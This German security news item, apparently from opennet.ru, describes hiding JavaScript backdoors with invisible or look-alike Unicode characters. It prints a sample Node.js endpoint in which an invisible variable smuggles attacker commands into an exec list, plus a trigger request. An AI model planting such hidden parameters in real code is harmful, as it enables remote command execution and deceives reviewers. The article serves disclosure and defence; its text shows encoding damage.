Nach der Trojan Source-Angriffs-Methode, die auf der Verwendung von Unicode-Zeichen basiert, die die Anzeigereihenfolge von bidirektionalem Text Ă€ndern, wurde eine weitere Technik zur Einbettung versteckter Aktionen veröffentlicht, die fĂŒr Code in JavaScript anwendbar ist. Diese neue Methode basiert auf der Verwendung des Unicode-Zeichens âă €â (Code 0x3164, âHANGUL FILLERâ), das zu den Buchstaben gehört, aber keinen sichtbaren Inhalt hat. Die Unicode-Kategorie, zu der dieses Zeichen gehört, ist seit der Spezifikation ECMAScript 2015 fĂŒr die Verwendung in Variablennamen von JavaScript zulĂ€ssig, was es ermöglicht, unsichtbare Variablen oder neue Variablen zu erstellen, die sich nicht von anderen Variablen in beliebten Code-Editoren wie Notepad++ und VS Code unterscheiden lassen.
Als Beispiel wird Code fĂŒr die Node.js-Plattform angegeben, in dem durch eine Variablen, die aus einem Zeichen âă €â besteht, ein Backdoor verborgen ist, das es ermöglicht, den vom Angreifer angegebenen Code auszufĂŒhren: app.get(â/network_healthâ, async (req, res) => { const { timeout,ă €} = req.query; // tatsĂ€chlich steht hier âconst { timeout,ă € \u3164}â const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/',ă € // nach dem Komma folgt das Zeichen \u3164 ];
Auf den ersten Blick wird ĂŒber den externen Parameter nur der Wert timeout ĂŒbergeben, wĂ€hrend das Array mit den auszufĂŒhrenden Befehlen eine harmlose, feste Liste enthĂ€lt. In Wirklichkeit wird jedoch nach der Variablen timeout einem weiteren unsichtbaren Parameter mit dem Zeichencode \u3164 ein Wert zugewiesen, der ebenfalls im Array der ausfĂŒhrbaren Befehle ersetzt wird. Auf diese Weise kann ein Angreifer bei der Verwendung einer solchen Konstruktion einen Request im Format âhttps://host:8080/network_health?=Befehlâ senden, um ein Backdoor zu aktivieren und seinen Code auszufĂŒhren.
Als weiteres Beispiel wird das Zeichen âÇâ (ALVEOLAR CLICK) angefĂŒhrt, das verwendet werden kann, um die Anzeichen eines Ausrufezeichens zu erzeugen. Beispielsweise wird der Ausdruck âif(environmentÇ=ENV_PROD){â bei AusfĂŒhrung in Node.js 14 immer wahr sein, da dabei keine UnterschiedsprĂŒfung stattfindet, sondern der Variable âenvironmentÇâ der Wert ENV_PROD zugewiesen wird. Zu den irrefĂŒhrenden Unicode-Zeichen gehören auch âïŒâ, âââ, âïŒâ, ââ©”â, ââšâ, â⫝̸â, âêżâ und âââ.
Quelle: opennet.ru
